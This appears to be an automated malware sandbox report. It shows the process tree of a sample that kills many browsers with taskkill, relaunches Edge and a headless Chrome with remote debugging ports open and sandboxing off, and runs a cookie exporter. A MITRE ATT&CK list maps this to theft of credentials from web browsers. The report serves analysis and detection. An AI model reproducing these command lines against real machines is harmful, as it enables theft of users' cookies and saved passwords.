      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=1920,i,6533310208367701295,2214478315575751258,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version --mojo-platform-channel-handle=4064 /prefetch:9
      4⤵
      Uses browser remote debugging
      PID:3656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=1920,i,6533310208367701295,2214478315575751258,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version --mojo-platform-channel-handle=4352 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=1920,i,6533310208367701295,2214478315575751258,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version --mojo-platform-channel-handle=4420 /prefetch:9
      4⤵
      Uses browser remote debugging
      PID:3608
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1920,i,6533310208367701295,2214478315575751258,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version --mojo-platform-channel-handle=4616 /prefetch:14
      4⤵
      PID:4640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1920,i,6533310208367701295,2214478315575751258,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version --mojo-platform-channel-handle=4604 /prefetch:14
      4⤵
      PID:1992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1920,i,6533310208367701295,2214478315575751258,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version --mojo-platform-channel-handle=5212 /prefetch:14
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1596
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1132
        5⤵
        
        PID:2316
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1920,i,6533310208367701295,2214478315575751258,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:14
      4⤵
      PID:4576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1920,i,6533310208367701295,2214478315575751258,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:14
      4⤵
      PID:4980
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM msedge.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1236
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox --disable-extensions --disable-sync --no-first-run --disable-features=RendererCodeIntegrity
    3⤵
    - Uses browser remote debugging
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1824
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe2e05c728,0x7ffe2e05c734,0x7ffe2e05c740
      4⤵
      PID:5172
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1828,i,4577399280329864683,2472070359558558119,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1764 /prefetch:2
      4⤵
      PID:3880
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,4577399280329864683,2472070359558558119,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1948 /prefetch:11
      4⤵
      System Time Discovery
      PID:1664
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,4577399280329864683,2472070359558558119,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2112 /prefetch:13
      4⤵
      PID:976
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1828,i,4577399280329864683,2472070359558558119,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2948 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5068
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1828,i,4577399280329864683,2472070359558558119,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3152 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3900
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1828,i,4577399280329864683,2472070359558558119,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3972 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4668
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,4577399280329864683,2472070359558558119,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4636 /prefetch:14
      4⤵
      PID:6080
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,4577399280329864683,2472070359558558119,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4908 /prefetch:14
      4⤵
      PID:652
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,4577399280329864683,2472070359558558119,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4880 /prefetch:14
      4⤵
      PID:4428
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,4577399280329864683,2472070359558558119,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4872 /prefetch:14
      4⤵
      PID:2508
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    PID:2968
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    PID:4816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:2124
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    PID:3104
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM librewolf.exe
    3⤵
    - Kills process with taskkill
    PID:2432
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM waterfox.exe
    3⤵
    - Kills process with taskkill
    PID:3892
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM zen.exe
    3⤵
    - Kills process with taskkill
    PID:5908
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM palemoon.exe
    3⤵
    - Kills process with taskkill
    PID:3984
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM floorp.exe
    3⤵
    - Kills process with taskkill
    PID:1416
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM msedge.exe
    3⤵
    - Kills process with taskkill
    PID:232
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    PID:6020
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM brave.exe
    3⤵
    - Kills process with taskkill
    PID:2320
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM opera.exe
    3⤵
    - Kills process with taskkill
    PID:4644
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM vivaldi.exe
    3⤵
    - Kills process with taskkill
    PID:1040
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM chromium.exe
    3⤵
    - Kills process with taskkill
    PID:4884
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM seamonkey.exe
    3⤵
    - Kills process with taskkill
    PID:4392
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM icedragon.exe
    3⤵
    - Kills process with taskkill
    PID:5508
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM cyberfox.exe
    3⤵
    - Kills process with taskkill
    PID:5852

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6092

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1708

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Modify Authentication Process

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Authentication Process

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process